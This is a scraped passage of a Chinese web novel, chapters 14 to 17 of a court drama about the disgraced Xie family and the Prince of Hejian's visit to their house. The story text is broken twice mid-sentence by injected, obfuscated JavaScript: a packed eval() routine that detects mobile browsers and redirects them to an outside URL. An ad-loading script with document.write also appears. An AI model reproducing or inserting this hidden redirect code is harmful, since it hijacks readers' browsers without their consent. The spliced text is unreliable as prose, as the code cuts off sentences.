被五娘的到访耽搁了睡意,翻来覆去地睡不着,大半夜出去庭院转一圈,又撞到阁子窥探之人,思量了好一阵。 真正入睡时,已到了三更末。 她睡下时就感觉身子有点不对,天气分明不冷,却总觉得有寒气从骨头缝往外冒。往常可以喝杯药酒暖一暖肠胃,但今日药酒不巧喝完了。 到后半夜,睡梦里感到一阵熟悉的晕眩,人空落落地,仿佛脚下踏空沉进了软絮,耳边听到有人呼喊,却又醒不过来。 隐约听到鹿鸣的惊呼:“……药酒没有了么?” 兰夏惊慌地回复:“没了!晚上在夫人房里吃用飧食,喝的便是最后一杯……” 呼喊声在耳边时远时近,谢明裳微微地睁开眼,视野旋转个不休,她又闭上眼。 恍惚间,有许多人匆匆赶来,舌尖下放置了新鲜切的参片,屋里药味弥漫。 帐子外说话的是谢琅。 “等不得了,儿子现在就出门寻郎中配药。” 兰夏急道:“大郎君快去!奴等守着娘子。” 谢夫人最后道:“看看你们自己乌青的眼睛。回去歇着,天亮后换你们,夜里有我看着。我比你们小丫头耐折腾。” 屋里安静下去。身边一沉,有人坐了下来。 坐下的人半晌未动,只紧紧握着她的手。 谢明裳睁不开眼,反手摸索着过去,冰凉的指尖摸了摸筋骨清瘦的女子手背,唤道:“娘。” 谢夫人眼眶含泪,声线却不显悲伤,听来如平日那般镇定,令人安心。 “好好睡一觉。谢家还有你爷娘哥哥在,天塌了也掉不在你头上。你只管安心养病。” 谢明裳闭目睡了过去。 这一觉睡得天昏地暗,仿佛魂魄离开了身体,从高处俯视布置精致的闺房。 谢枢密使听闻消息,从书房赶来探视。没惊动女儿,在床前站了片刻,被谢夫人叫出门去,两人压着声线在院门外争执一场。 凌晨前后,谢琅带回了虎骨药酒。 散发着热气的药酒从喉咙处灌下去,热气一路冲击肠胃。四处飘散的魂魄被拉了回来。谢明裳咳嗽几声,呕出几滴药酒。 视野一阵阵的白光。 等她真正能睁眼时,天色已经大亮,兰夏趴在床头守着,眼睛熬得通红。 “许久没有这般厉害的发作了。会不会是五娘子大半夜的——” 鹿鸣眼疾手快拦住了兰夏的嘴。 “五娘子半夜过来的事,我们没有告诉任何人。” “做得好。”谢明裳慢慢坐起身:“五姐的事让家里知道了,爹爹必然罚她。回去二房再打骂几次,五姐一个想不开,人就活不成了。” “嘘~”兰夏小声说:“大郎君还在院子里。” 院子里临时升起小火。 谢琅亲自盯着小炉温酒。片刻后,捧一杯热气腾腾的药酒进屋。 “趁热喝了。你睡下时灌不进酒,只喝两三滴,倒泼出大半杯。” 谢明裳接过去抿了一口,烫得舌尖发麻。 谢琅不走,盯着她把整杯药酒小口抿完了,这才收拾空杯,把灌满药酒的葫芦递给兰夏收起。 “药酒其实早配好了。郎中怕事,不肯卖给谢家而已。加钱也不肯卖。” “后来呢。”谢明裳仰着头问。 “后来,”谢琅淡淡道:“既然言语说不动,我出了郎中的房门,换耿老虎领人进去。之后便带着药酒葫芦回来了。” 谢明裳止不住嗤地笑了。 “阿兄也学会了强买强卖?谢家名声更差了。” 兰夏和鹿鸣低头忍笑。 谢琅沉郁多日的面色上也显出细微笑容,“谢家名声够差了,不多这一桩。至少留了钱给郎中。” 不知想到了什么,难得的笑意很快隐去。 谢琅坐在床边,郑重开口: “明珠儿,听好了。父亲昨夜过来看了你。我和父亲说药酒喝完,郎中不肯卖给谢家,我需亲自去一趟取药酒。之后母亲在院子里和父亲争吵一场。父亲回去书房后,不知如何想的,连夜写下了认罪书。等我回家时,事已定局。” 谢明裳心头一震。 “父亲认下贪墨军饷的罪名了?” “认了。今日清晨,父亲亲笔书写的认罪书已经交由门外禁军,转呈朝廷,今日就会呈上御前。” 大事当前,谢琅神色凝重起来。 他虽然劝说父亲认罪,但两厢其害取其轻,心里却也并无十足把握。 ‘父亲认下贪墨之罪,谢家断尾求生。今日上书之后,谢家如何论罪,能不能从谋逆大案顺利脱身——就看圣心如何了。’ …… 一行大雁排成人字,自湛蓝色的天空北行,飞越过京城北面皇庭的明黄琉璃瓦。 侍从沿着汉白玉台阶整齐排列,大殿内外寂静无声。只有窗下的滴水竹管偶尔翻转,发出“哒”的脆响。 哒,殿内也传出清脆一声。 奉德帝落子于棋盘:“挽风,你最近动静不小。京城暮春天气燥暖,人心易躁。今日召你进宫无甚大事,随朕手谈两局,静静心。” 萧挽风抓起一把棋子,冰凉的黑玉滑过指尖。 他往纵横棋盘随意摆下一子:“臣不善对弈之道。” 奉德帝摆下白子:“过谦了。朕看你下得不错。” 萧挽风右手执棋。 和天子对弈的同时,左手摊开在小案上,一名御医跪倒在他身侧,正在凝神屏气的诊脉。 奉德帝在落子间隙开口:“河间王身子如何?” 御医收回诊脉的手,低头谨慎地道: “河间王殿下正当盛年,阳气旺盛,寻常风邪不侵。但这几年征战落下不少旧伤……这个,旧伤。身子调养不好的话,年岁稍大些容易落病。臣等尚待仔细查勘。” “那就在京城多居留几个月。叫御医随身侍奉,看看调理得如何。” 奉德帝亲近地拍拍手背:“河间王,国之重器也。朕体恤的岂是朕的五弟?体恤的是边关将士万民的福祉啊。” 萧挽风不明显地一哂,继续落子:“谢皇兄体恤。” 御前内侍捧着整摞奏本,无声无息地走近,将奏本放置于圣上手边。 奉德帝随手翻开第一本,略打量几眼,准备落子的动作便停住了。 “何时呈上的?” 内室躬身回禀:“今晨刚刚呈上。林相不敢擅专,恭呈御览。” 萧挽风仿佛并未留意御前的小声交谈,攥着黑子,目光望向窗外枝头的鸟鸣出了神。 棋子敲击棋盘的清脆敲击声拉回他的视线。 奉德帝继续落子,和他说起另一桩事。 “广陵王昨晚在宫门外哭了一场,人来人往的,惊动不少朝臣。今早朕便收了两本弹劾你的奏本。挽风,你看看。” 从棋盘下取出两本奏本推过来,玩笑般问对面: “不是说长公主设宴给你接风洗尘?何事在宴席间说不拢,非要跑来朕的宫门外闹腾?” “姑母安排的接风洗尘宴,败了兴致不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的视线又转去窗外,盯着枝头洁白的广玉兰,不经意般问:“皇兄政务繁重,臣先告退,下次再入宫对弈。” “不急。”奉德帝笑说。放下朱笔,合拢奏本,随意放在棋盘边。 “政务虽繁重,有些政务紧急,需得即刻处置。有些么,晾个两三日无妨。你我兄弟难得对弈,把这局下完。” 对弈一阵,两人复盘棋局。奉德帝心情愉悦,拍了拍木匣。 “广陵王给的一匣子金你留着。等谢家宅子收上来,朕再开内库贴补你一些,把谢宅修缮齐整,充作你的河间王府。” “他的王府你住几日不妨事,等新住处安置妥当了,你还是搬去新宅,物归原主。毕竟都姓萧。” 萧挽风出宫时,正是晚霞漫天。 朱紫色霞光映在他的织金四爪蟒祥云纹袍子上,金线熠熠闪亮。他回头看了眼朱红宫门。 宫门外等候的幕僚严陆卿快步上前迎接:“今日宫里如何?” 萧挽风拧了下眉:“有一道谢崇山的本章奏入御前。” 严陆卿诧异道:“未曾听说风声,谢帅奏了些什么。” “不知。”萧挽风简短地说。 但宫里那位借他的手敲打谢崇山,意图明显。 “谢家留不住宅邸了。” 几名亲兵牵马过来,两人上马,萧挽风吩咐下去: “准备名帖,递去谢家。明日登门拜访。” 15.第 15 章 长淮巷,谢宅。 谢枢密使自从递上认罪书后后,人便关在书房里闭门不出,饭也不吃。如此过了整日。 掌灯后,帐下服侍多年的亲兵耿老虎亲自送宵夜给主帅,依旧送不进书房。 当夜,谢琅前来父亲的书房门外,从二更长跪到凌晨。 等谢明裳早上睡醒,听到消息急匆匆赶去外院时,谢夫人已到了,拉扯儿子起身。 “阿琅,你做错了什么?谢家这场大难又不是你招惹来的。劝你父亲上书认罪,谢家‘断尾求生’,我也点了头的。你一心为了谢家着想,何错之有!” 谢琅不肯起。 “父亲主动认下贪墨之罪,免去谢氏谋逆大祸,是谢氏之幸事。只有父亲,从此污名在身……抹杀了父亲刀枪箭雨拼杀出的赫赫军功。毁了父亲的一身清白骨,千古文史名。” 谢琅低声说:“儿子对不住父亲。” 谢夫人咬牙道:“你太高看你老子了。分明是他牵累了我儿,毁了你十年苦读的大好前程。你起来!” 谢琅死活不肯起身,谢夫人回头喊女儿:“明珠儿,过来帮手,把你阿兄拉起来!” 谢明裳挽着裙摆蹲在阿兄面前,打量几眼谢琅固执的面色,开口说: “阿兄何罪之有?谢家和谋反的辽东王毫无关系,牵扯进这场无妄之灾里,你和父亲都有何罪?有罪的,难道不是宫里高坐的那位,借着辽东王谋逆大案逼迫父亲,令谢氏被迫自污,抹杀了父亲半辈子军功的当今圣上——” 刚才死活不肯起的谢琅霍然直起身,拿手紧张挡住谢明裳的嘴。“莫说了!” 谢明裳才不怕被捂嘴,声音反倒更大了。 “都喊着圣上,圣上。宫里那位当真是圣明天子?父亲刀枪箭阵拼下的军功,一笔抹消干净不说,身上从此背上了贪墨军饷的污臭骂名,以后出门都会被人戳脊梁骨。这些都不提,亏空的二十万两银子记在谢家头上,谢家多半还得变卖家当填补国库。阿兄,你算算帐。你算算我们谢家几十年侍奉君王亏不亏?” 书房木门砰然从里拉开,谢枢密使脸色铁青地站在门里:“莫说了!” 谢明裳立刻乖巧闭嘴。 转身去拉扯谢琅,这下轻轻松松便把阿兄拉扯起身,替他拍了拍身上尘土: “好了,父亲开门了,阿兄也不必担心内疚了。他老人家的精神比你好十倍。阿兄回去歇着罢。” 谢琅:“……” 谢枢密使神色复杂,喝住女儿:“刚才的欺君言语,哪个教你说的?你活够了,想掉几个脑袋?” 谢明裳站定在原处,清凌凌的眸子回望。 她病中尚未痊愈,肌肤失了几分血色,人站在风里,仿佛枝头迎风摇摆的羸弱花儿,越发显得无辜: “没人教我,自己想的。是不是大实话?” 确实是大实话。 谢枢密使站在门边顺着女儿的话略一琢磨,脑海里瞬间跳出一个字:亏。 都说“学成文武艺,货与帝王家”。谢家半辈子忠心侍主,换来了什么? 越想越感觉他娘的亏大了。 他心烦意乱地撇开话题,和老妻商量: “我在认罪书中写明了三月之期。三个月内筹措银两,补足亏空,只求减免脱罪。二十万两银子不是小数目……怕要卖宅子。 ” 谢夫人冷冷说:“奏本都呈上御前了你才与我说,难道我还能拦着不卖?” 谢枢密使噎了一下,气势便弱下去七分: “一切等圣上旨意。若圣上允了三月期限,谢家侥幸不必抄家……” “谢家侥幸不必抄家,填补二十万两亏空我们也认了。” 谢夫人接口道:“谢家被禁军围着出不去。等圣旨下了,索性让阿琅写张告示,张贴在大门外头寻买主。不论哪个阿猫阿狗出价,够三万两就卖。” 谢枢密使立刻道不可:“明晃晃地贴在自家大门外,两三日便当做笑话传遍京城了。你倒可以避着不出门,只丢我的人。不成,让老常悄悄领个屋宅牙人来办。” 眼看家里爷娘两个又像斗鸡般杠在一处,谢琅苦笑着去拦: “父亲,母亲,歇一歇,圣上的旨意还未下,谢家前途未卜。如何卖宅子的事以后再谈。” 谢明裳站在风里,微微打了个寒战,兰夏和鹿鸣急忙奔过来搀扶。鹿鸣劝说:“娘子先回屋去,前院风大,当心病又不好了。” 谢夫人甩开谢枢密使那边,也奔过来查看女儿。 几人围拢着谢明裳查问,又催促她往廊下避风处休息。短暂的争执停歇下去。 大门方向传来一阵匆匆脚步声。总替常将军传信的禁军汉子走近书房,这些天他的脸都看熟了。 谢明裳远远地站在书房前头的廊子下避风,伸手招他过去。 “常将军又有消息转给父亲?” “正是。”禁军汉子踌躇道:“消息来得急,常将军的原话说‘等不得’。但谢帅这边……是不是不大方便?” “方便方便,你来得正好。” 谢明裳即刻引人过去,站在互不理睬的爷娘当中。 “常将军有消息,十万火急。” 谢夫人深呼吸几次,转身去了后院。 谢枢密使闭目道:“何事。” 汉子道:“河间王来访。人已进门。” 谢枢密使倏然睁开眼睛:“……他来做什么!” —— 马步禁军指挥使常将军,这回算好心办了坏事。 身为谢崇山的老部下,常将军在关外待过几年。 他记得这位河间王殿下当年初出茅庐、名声未显时,第一次出关领兵,似乎在军营大帐里和谢崇山起过冲突。 河间王投递到谢宅的拜帖,落在领兵看守谢宅的常将军手里。 常将军琢磨了半日,河间王贵人得势,怕老帅受辱,做主婉言回绝了。 谁知河间王今日下朝,直接驱马便来了长淮巷。 随身亲兵搡开守门禁军,河间王抬脚便往门里走。 常将军慌忙亲自在前头领路,暗中命人去后院传消息。 但人来得太急。 等谢崇山整顿衣冠、准备赶去前堂会客时,贵客早已不在前堂候着了。 * 谢明裳停在半道上,细微地拧了下眉。 狭路相逢的男子,穿一身宽松的海青色广袖直缀袍,螭玉冠,腰间蹀躞带,乌皮靴,站在垂花拱门前,仰头打量攀爬的藤蔓粉色蔷薇花儿。 这身穿戴贵气,但京城能这般穿戴的人家多了去了。 谢崇山和常将军一左一右站在身侧陪同。 两边狭路相逢,相逢的位置不巧在谢家女眷内宅大门外。 作为谢家之主,谢崇山的面色不算好看。 鹿鸣和兰夏吃惊地拦在前头, 兰夏低声嘀咕:“贵客走错地方了罢?谢氏会客前堂要往回走,拱门后头是谢家女眷居所。郎主怎的不拦他。” 站在拱门边的几位亲兵听到动静,齐齐注视过来。 萧挽风站在门外,并未回身,只侧了下头。 他此刻正好站在阳光和围墙阴影当中,显露出宽阔的肩膀,身量几乎与高墙齐平。 浓眉星目,视线笔直近乎尖锐。被这道目光凝视的人仿佛被针扎了一下,谢明裳的脚步停下了。 谢崇山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533195|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面沉如水,勉强道一句:“这是老夫家中小女。” 毫无招呼女儿上前,引荐两边相识的意思。 不请自来的贵客的态度更为淡漠,并不搭腔,只一眼扫过便转开视线,任凭谢崇山硬邦邦的一句话落在地上。 尴尬寂静中,常将军急忙居中说和: “拱门后头便是谢家女眷的居所了。殿下,游园尽兴即可,还请止步啊。前堂的瓜果冷碟想必布置好了,还请殿下随卑职去前堂稍坐如何?” 萧挽风一颔首,三人在谢明裳面前转往前堂方向。 谢明裳接过鹿鸣递来的团扇,挡住半张精致面庞,只露出黑白分明的清澈眸子,上下打量几眼背影。 常将军称呼的那声“殿下”,她听到了。 这位的身份不言而明,必然是今日不请自来的河间王,萧挽风。 不知怎么的,她总觉得贵客的眉眼轮廓有点熟悉…… 兰夏也看出来了。 兰夏吃惊地小声嘀咕:“娘子快看,是不是那天我们从酒楼出来,梨花洒了他一身,赔了四十贯没拿的那位?还好当天他没穿这身贵衣裳。” 谢明裳以团扇掩面:“真是他?” 鹿鸣震惊地瞪大双眼,半晌才说出一句: “哪怕是位郡王……擅闯内院还是无礼。” 主仆三个停在道边的玉兰花树下,远远站着打量这位战功卓著的河间王。 兰夏捂着嘴悄悄说:“跟随贵客的幕僚,瞧着也脸熟!不会错了,就是当日街上那位四十贯。娘子,河间王会不会还记得当日的事,记恨咱们无礼?啊,他又回头看娘子了!” “哪里在看我呢。”谢明裳轻摇团扇,悠悠地说: “当日我可未露脸,一顶帷帽从头挡到肩膀。他兴许记得你?” 兰夏瞳孔震颤:“他,记恨、记恨奴婢……” 谢明裳忍俊不禁,动人明眸里溢出明晃晃的笑意,伸手把兰夏肉嘟嘟的脸蛋捏了一捏。 “把拎到喉咙口的那颗心安稳放回去。都多少天了,街上偶尔撞见一回,我都快不记得,他一个新入京的宗室王,肯定日夜亲朋邀约,宴饮交游,谁还会记得芝麻那点小的事。” 鹿鸣忍着笑。兰夏长呼口气。 难得气氛松快,主仆三个你一言我一语地说笑着往门里行。 谢明裳嘴上说得轻松,心里却并不十分笃定。毕竟京城自视甚高的奇葩太多。 比方说裕国公世子,她连名字相貌都记不起,更不记得自己何时得罪了人,还不是在梨花酒楼接到了对方冷嘲热讽的帖子? 走出七八步,正好道路拐弯的当儿,她的脚步微微一顿,不动声色地回眸而视。 谁知萧挽风不知何时停了步,人正站在廊子边,似在和谢崇山说话,目光却凝望向玉兰花树道边。 谢明裳一回头的功夫,两边视线远远地便撞上了。 萧挽风冲她弯了弯唇。 眉眼生得锐利不亲和,笑意又不明显,一闪即逝。 落在谢明裳眼里,看不出是愉悦的笑,还是嘲弄的笑,亦或兼而有之。 谢明裳脸上浅浅的笑消失了。 团扇上抬,以遮挡阳光的姿态挡在眉眼间,扇了几扇。收回目光,转身便走。 走出十几步,又斜瞥一眼。 萧挽风已经走远。但他身后跟随的幕僚却停下脚步等着。直到她再次回身,笑着冲她拱拱手,这才快步远去了。 谢明裳微微拧了下眉。 兰夏认出了河间王萧挽风和其幕僚,对方也借着兰夏认出了她? 堂堂八尺儿郎,街上冲撞的那点小事至今都还记着? 心眼怕不是只有针尖大? 16.第 16 章 谢琅中午过来,神色有些古怪。 谢明裳正在喝药,艰难地抿一口药汁,看一眼谢琅变幻不定的面色。 “出什么事了?难得见你发呆。” 谢琅从沉思中惊醒,提起此刻还在前堂的那位贵客。 “我去前堂,和父亲、常将军一起作陪贵客。中途问起河间王的来意。” 谢琅:“说是来看宅子……宅子还是小事,只怕河间王对谢氏怀有恶意。” 之前他便私下问过父亲。谢家和河间王的梁子,究竟如何结下的,能不能解。 谢崇山并不肯细说,只笼统说从前在关外领兵时,他是中军主帅,萧挽风当年只是个初领兵的年少宗室子,两边起了龃龉,在边地大营里争斗一场。 “听父亲的意思,梁子结得不小,轻易化解不得。” 谢明裳喝完药,屋里却寻不到蜜饯,只得借着茶水压下满舌尖的苦药味。 谢琅看在眼里:“我那边还有点甜渍乌梅,回头给你送来。” 他今天确实有些心不在焉。 河间王今日带来的最新消息,让他想了许多。 牵连进辽东王谋逆大案的其他几位朝臣,早已雷厉风行定罪,流放的流放,处决的处决。 只有谢家。朝廷既不处置谢家,又不撤除禁军包围。谢琅越来越觉得,朝廷在用一个“拖”字决。 至于父亲递呈的认罪书,是不是圣上耐心等候的东西?以谢琅的眼界,尚看不清。 谢明裳问发呆的兄长:“所以,河间王今天来谢家,当真准备强夺我家的宅子?所以四处转悠,直到女眷后院也不停步。” 谢琅摇头:“河间王并未看中谢宅。直言说谢宅占地太小,不够跑马,并非他中意的宅邸。” “那他来看什么?”谢明裳奇道:“该不会存心羞辱谢家吧。” “这倒不是。圣上对他露了口风。谢宅收缴入官府、赐为河间王府之事已定下了。因此,河间王来看他的王府。” 谢明裳一怔,视线转过去。 谢琅的面色不知不觉变得严肃:“圣意已决,对谢家只怕不会轻轻放过。逃脱了谋逆大罪,还是要借着 ‘贪墨’的罪名惩处。” “宅子已定下收缴,人会惩处到何等程度……我们不知。” —— 春风吹过谢宅前厅,风里传来宾主寒暄。 贵客的声线低沉而缓,听不出喜怒: “贵千金面色苍白,有羸弱之态,人似在病中?怎么放任四处走动吹风。” 谢崇山沉着脸道:“膝下只有六娘一个女儿。被家里宠坏了,当面竟忘了见礼,叫殿下见笑了。” 萧挽风:“不妨事。” 顿了顿,又问:“病多久了?” 谢崇山:“……” 今日贵客不请自来,摸不透此行意图,人又在谢宅四处转悠,竟然在内院门外撞上了女儿。谢崇山的心情显然不怎么好,说话便带了刺。 “女儿家娇惯,春夏季节免不了头疼脑热地病一场,谢某家事,不牢殿下记挂。圣上有意把谢宅赐作河间王府,究竟怎么回事,还请殿下长话短说。” 春夏交替季节,总要病一场…… 萧挽风沉吟着,问起一桩不相干的事。 “谢家和杜家的婚约纠缠至今未退。是谢家尚想挽回,不愿退;还是杜家不愿,不能退?” 谢崇山心里恼怒,忍了又忍,冷冷道:“殿下才入京几日?耳聪目明,叫谢家事入了殿下之耳。但小女的婚事,上头还有老夫做主,轮不到殿下操心。” 萧挽风盯了他一眼。眸子幽亮蕴锐光。 “谢家家事,确实轮不到本王操心。” 他姿态淡漠地往后靠坐:“但谢枢密倔如黄牛,越老越倔。谢家在谢枢密的引领之下,如无头苍蝇四处乱撞,调入京城五年便牵扯进倾覆大罪。令千金的婚事,谢枢密当真做得了主?” 谢崇山大怒,斑白的胡须都颤抖起来。 正要发作,旁边作陪的常将军眼疾手快抓住他手肘,用力往回扳。 谢崇山强忍着脾气喝茶,手却气得发颤,放下茶碗时,边缘嗑在茶案,砰地一声响,居然碎了。 地上汤水横流,外头几个小厮瑟缩着不敢进屋收拾。 “不必绕圈子了。殿下拐弯抹角不谈正事,老夫直说。” 厅堂里嗡嗡地回荡谢崇山的洪亮嗓音:“二十万两军饷在老夫手里消失不见,是老夫之罪。但谢家世代忠心报国,辽东王的狗屁事和老夫没关系!圣上想要老臣的命,直接下圣旨,老臣当场领旨自戕,何必派你这小儿来羞辱老夫。” 谢崇山激动起来,什么会面贵客的京城规矩都抛在脑后,手指差点戳到贵客脸上。常将军慌忙挡在两人中间,左右说和,无奈厅堂里没人听他的。 萧挽风端坐在木椅上,缓缓抚摸大拇指末端的精铁扳指,眼风都不动一下。 眼见谢崇山越骂越激动,口水几乎飞溅到贵客的衣袍上,萧挽风身后的幕僚严陆卿不得不上前,和常将军合力拦阻,好言相劝。 “谢帅冷静些!谢帅细想,殿下若对谢帅心怀恶意、意图行羞辱事,岂会身无寸铁地登门?谢帅看看殿下今日的打扮,对谢家并无防备之心啊。” 谢崇山一怔,骂声停下了。 兵器是武将的命。只要经历过沙场厮杀、枕戈待旦的人,刀剑再不离得身。他自己困居家中,佩刀尚且随身挂着。 厅堂里坐着的萧挽风,腰间蹀躞带上居然只挂了两块玉珏,可不正是身无寸铁? 常将军立刻大声说和:“正是!殿下对谢家绝无恶意,今日登门只是为了、呃,为了……” 严陆卿咳了声,接口道:“上门看看谢家宅子。” 谢崇山颓然坐了回去。 默然半晌,他哑声道:“老夫失态了。但殿下对谢家当真毫无恶意?老夫却是不敢信。” 当着在场人的面,他扯开衣襟,露出旧伤斑驳的宽阔肩膀。 “殿下当年一刀砍在老夫肩胛骨上,老夫伤得可不轻。殿下当年只是偏将,军营袭击主帅之事,按军法当斩,老夫做主压下了。事后泄露了风声出去,非老夫之意。” 萧挽风放下茶碗,隔着衣襟按了按自己胸膛。 “谢帅确实把事压下了,知道的人不多。但谢帅当年赐下的一枪,至今留下疤口。不敢忘。” 常将军瞠目结舌,冷汗唰得滑下脊梁。 他只隐约知道两边素有旧怨,谁知竟是这般伤筋动骨的怨仇! 刚才气氛有松弛的迹象,门外的小厮才敢匆匆入室打扫满地碎瓷,不想才说两句又剑拔弩张起来。 两个小厮快速清理地面,飞快添茶,逃命般小跑出去。 仿佛暴雨前夕的压抑气氛对萧挽风却毫无影响。他无聊般地吩咐笔墨,提笔在白纸上写写画画。 “谢帅把衣襟合拢起来罢。本王少年时武艺生涩,那点陈年小伤,再过个两年便长好了。倒是谢帅那一枪,直奔心口,本王侥幸留下一条性命,叫谢帅失望了。” 寂静的厅堂一时无人说话。 谢崇山脸色难看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,闭目道:“殿下今日登门,不可能只来看宅子。有话直说。” 萧挽风在纸上信笔涂抹,只见墨汁淋漓,边涂涂画画边漫不经意说道: “早说过了,萧某今日登门看宅子。” “贵宅太小,跑不得马。萧某无女眷,偌大后院无用,把二门后东边的亭台屋舍拆去,和射箭场连在一处,充作马场应够了。” 抖了抖纸张上的墨迹,递给谢家之主。 不止谢崇山细看,常将军也探头看纸张。 纸上仿佛兵部舆图般的画法,几笔勾勒出简易的谢宅地形图,删删改改,涂去一大片。 图纸空白处,龙飞凤舞写下两行狂草大字: “河间王府图例” “此处应有马场” 谢崇山闭了闭眼。手腕处的衣袖无风自动,细微抖动了起来。 常将军眼疾手快,抢先按住谢崇山的手,强笑道:“殿下好记性。只走过一遍,谢宅的布局如成竹在胸,尽在笔下哈哈哈……” 常将军和稀泥的好意落了个空。 剑拔弩张的宾主两个,一个强忍怒意、闭目不搭理贵客;一个漫不经意端详着马场图,继续对主家说话: “五年不见,谢帅还是当年的犟驴脾气。全族的性命前程担在肩上,谢帅也不肯往后退半步?” 谢崇山霍然睁眼,瞪视过去。“何意?” 萧挽风深深地看他一眼,抬手点了点马场图: “这张马场图纸谢帅收着,闲暇时多看看,多想想。谢家的退路前程,在谢帅一念间。” “最近萧某都在京城,得空再来看宅子。”说罢起身走了出去。 身后的严陆卿快步跟随出厅堂。 严陆卿忍到出门后才说话。 “当众留下手书还是太冒险了。人心难测,常将军不见得可靠。之前两封书信不知被谢家烧了还是留着。若笔迹上露了破绽,被人密报入宫,平白引来宫里那位猜忌。” 萧挽风策马跑出一段路,直到禁军看守的谢家大门落在身后,才道: “做事哪有万全。能成事即可。” 严陆卿叹气:“还好谢家有大郎君谢琅。” 查验一下笔迹,应该便能看出,之前羽箭传的两封书信,和今日自家殿下留下的草书,同自同一人之手。 “希望谢家早日抛下成见,寻殿下商议出路。哎,也不知谢帅上书都写了些什么。奏本压在御案,祸福难料啊。” —— 厅堂里。多年的老上峰和老部下对坐无言。 谢崇山琢磨了很久,皱眉问:“老常,他最后几句什么意思?谢家连宅子都保不住,还能有什么前程?他河间王在京城又如何?他能给谢家个退路?” 两人把河间王留下的话翻来覆去地思量。 常将军犹豫着道:“河间王的意思莫非是……他并无登门羞辱之意,但想要谢帅主动低个头,服个软。河间王可以高抬贵手,不计较旧怨,在圣上面前替谢家求个情?谢家的退路就有了……” 谢崇山大怒:“老夫早成孙子了!这处低头,那处服软,捏着鼻子认下贪墨军饷的臭污罪名,自筹二十万两银填充国库还不够软和?老夫还能如何服软?跪在他河间王面前,把谢家宅子双手奉上,求他笑纳?” 常将军慌忙安抚:“谢帅息怒,息怒。” “呵呵,谢家宅子他还看不上,嫌小,要拆了半爿后院跑马。”谢崇山愤然把跑马场图纸揉成一团,扔去字篓里。 “不必想了。这小子就是存心上门羞辱老夫。” 17.第 17 章 谢琅身边的奉墨下午过来谢明裳的院子,送来小半罐甜渍乌梅。 谢明裳尝了一颗,差点酸倒满口白牙。 “我知道了,肯定是大嫂留下的。这么酸……可酸死我了。”她含着屋里最后一颗蜜饯,唤来兰夏: “你替我跑趟东苑,跟二房要一罐蜜渍杨桃片来。家里的蜜饯十之七八送去瑄哥儿房里,好好的男孩儿吃成个胖墩,不差他几颗蜜饯。” 兰夏干脆地应下,转身要出门时被鹿鸣叫住。 鹿鸣有顾虑:“往日讨要倒不妨碍。但最近二房为了瑄哥儿的事闹得厉害,怕二夫人不给。” 兰夏嘟囔:“禁军围门看不见么?能送出去的小娘子不送,不能送的小郎君拼命要往外送。” “好了,都少说两句。”谢明裳拦住话头。 “又不讨要什么稀罕物件。一罐蜜饯罢了,讨得来就讨,讨不来算了。” * 兰夏提个空罐子出去,过大半个时辰才回来。 乍晴时雨的暮春天气,兰夏硬生生出了一头一脸的热汗,瘫坐在内室扇了半天扇子。 “这趟蜜饯讨得折腾!奴过去东苑时,里头正吵得鸡飞狗跳,五娘坐廊子里哭得要死要活的,也不知为什么事。奴见不着二夫人。问了一圈,没人搭理。” 东苑没个安宁地界,屋里屋外都在哭,瑄哥儿扯着嗓子又哭又喊,没人理睬兰夏。 她等得受不了,打算自己去东苑小厨房翻找蜜饯。翻找到半途时——五娘谢玉翘居然捧着蜜饯罐子过来了。 “娘子尝尝?”兰夏把蜜渍杨桃片的罐盖打开,捞起几片杨桃送去床边。 一封信也同时递呈过来。 谢明裳诧异地捏着信封。信封开口处被人用蜡仔细封住,封皮上的字迹显然是五娘自己的清丽笔迹,用词谦恭,写道: “广陵王妃亲启。” “她这要做什么?” “五娘子说她思来想去好几日,已想定了。她身边无可用之人,劳烦娘子帮忙递去广陵王府。” 谢明裳什么也没说,把书信扔去枕头下面。 只吃了小半片杨桃片就扔回碗里,迭声唤茶:“太甜了。甜得齁嗓子。” 鹿鸣捧着一盏热腾腾的汤水进屋。 捧来的却不是清亮的茶汤,而是浓酽乌黑的药汤。 “正好到了喝药的时辰。娘子,就着蜜渍杨桃片,把药喝了罢。” 谢明裳捧过乌黑药汤。一口口抿药时,眼睛望着窗外草木繁盛春光。 “这日子不是我想过的。” 鹿鸣轻声说:“娘子好好养病。等病好了,日子自然好转起来了。” 谢明裳把齁甜的杨桃片含在舌下:“是么。” 兰夏边收拾蜜饯边安慰说:“娘子莫担忧。无论什么情况,我们总陪着娘子的。” 齁甜蜜饯和浓黑药汁的滋味交织,在舌尖滚了几滚。谢明裳笑了下,抬手捏了捏兰夏的脸。 —— 这天入夜后,谢明裳迷迷糊糊一觉睡醒,察觉屋里亮了灯。 有个人影在床边坐着。灯下的身影如山。 谢明裳掀开纱帐,唤道:“爹爹。” 谢崇山坐着不言语时气势威慑惊人,见她醒了,神色间居然带出几分紧张:“莫叫你娘知道我这么晚来看你。深夜适合谈事,你我父女安静说几句。” 鹿鸣捧来披风,披在谢明裳肩头。 她夜晚打散了发髻,乌发垂散在洁白脸颊边,人仿佛又年少了几岁。 谢崇山打量着女儿,目光渐渐柔和,替她把额前一缕碎发捋了捋:“一晃长这么大了。” “为父有些后悔,不该把你带入京城。” “关外戈壁半年沙尘风暴、半年落雪的鬼天气,没耽搁你好好地长大。结果来京城的头一个月,碰着三伏闷热天气,家里行囊还没安置好,你就水土不服病了一场。” 